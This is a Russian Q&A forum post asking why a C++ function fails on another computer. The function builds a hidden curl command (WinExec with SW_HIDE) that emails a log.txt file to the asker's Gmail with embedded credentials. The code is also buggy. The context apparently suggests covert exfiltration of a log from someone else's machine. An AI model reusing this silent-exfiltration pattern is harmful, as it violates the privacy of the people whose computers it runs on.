curl не отправляет email на чужом компьютере

242
08 марта 2017, 20:21

Программа использует curl для отправки текстового файла по email, работает у меня идеально,всё выполняется,имейл приходит(пробовал даже логиниться через другого юзера в Windows),но вот когда я запускаю на другом компьютере,ничего не происходит,я пробовал и через админа запускать,ничего не помогает,всё работает до момента отправки по email.Curl клал в одну и ту же папку с основной программой.Вроди бы и от директории не зависит,потому что я определяю её с помощью _getcwd(),может там какие-то проблемы с доступом есть,не могу понять. Функция,отсылающая email.

bool sendemail()
{
    //определяем расположение файла log.txt 
    /*все strcat для того чтоб сформировать команду,шаблон которой          
    закомментирован ниже*/
    char current_work_dir[700];
    char clonedir[250];
    char clonedir3[250];
    strcat(clonedir3,"\"");
    _getcwd(current_work_dir, sizeof(current_work_dir));
    _getcwd(clonedir, sizeof(clonedir));
    strcat(clonedir3,clonedir);
    strcat(clonedir3,"\\log.txt\" -k --anyauth");
    printf("%s",current_work_dir);
    strcat(current_work_dir,"\\curl smtp://smtp.gmail.com:587 -v --mail-from \"andybelous2@gmail.com\" --mail-rcpt \"andybelous2@gmail.com\" --ssl -u andybelous2@gmail.com:Password pishu -T ");
    strcat(current_work_dir,clonedir3);
    //char* command = "curl smtp://smtp.gmail.com:587 -v --mail-from \"SENDER.EMAIL@gmail.com\" --mail-rcpt \"RECEIVER.EMAIL@gmail.com\" --ssl -u SENDER.EMAIL@gmail.com:PASSWORD -T \"ATTACHMENT.FILE\" -k --anyauth";
    WinExec(current_work_dir, SW_HIDE);
    FreeConsole();
    Sleep(5000);
    return true;
}
READ ALSO
Приведение числовых типов через reinterpret_cast

Приведение числовых типов через reinterpret_cast

Если мы используем reinterpret_cast для приведения указателя к указателю, объекта к указателю или указателя к объекту, то приведение осуществляется...

245
Другая компоновка в классе-потомке

Другая компоновка в классе-потомке

ЗдравствуйтеЕсть класс ComparisionTable, наследуемый от QWidget с виджетами: два QLabel и один QTableWidget

223
Парсинг JSON в Javascript из Python

Парсинг JSON в Javascript из Python

Передаю данные с сервераПолучаю дату на клиенте

334